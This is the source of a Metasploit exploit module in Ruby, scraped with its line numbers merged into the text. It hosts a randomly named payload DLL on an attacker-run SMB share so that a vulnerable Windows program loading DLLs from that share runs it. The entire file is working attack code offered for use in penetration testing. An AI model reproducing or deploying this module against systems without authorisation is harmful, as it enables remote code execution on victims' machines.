Path: blob/master/modules/exploits/windows/smb/generic_smb_dll_injection.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::SMB::Server::Share9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Generic DLL Injection From Shared Resource',16'Description' => %q{17This is a general-purpose module for exploiting conditions where a DLL can be loaded18from a specified SMB share. This module serves payloads as DLLs over an SMB service.19},20'Author' => [21'Matthew Hall <hallm[at]sec-1.com>'22],23'References' => [24['CWE', '114']25],26'DefaultOptions' => {27'EXITFUNC' => 'thread',28},29'Privileged' => false,30'Platform' => 'win',31'Arch' => [ARCH_X86, ARCH_X64],32'Payload' => {33'Space' => 2048,34'DisableNops' => true35},36'Targets' => [37[ 'Windows x86', { 'Arch' => ARCH_X86 } ],38[ 'Windows x64', { 'Arch' => ARCH_X64 } ]39],40'DefaultTarget' => 0,41'DisclosureDate' => '2015-03-04',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])53]54)5556deregister_options('FILE_CONTENTS')57end5859def setup60super6162self.file_contents = generate_payload_dll63self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"64print_status("File available on #{unc}...")65end66end676869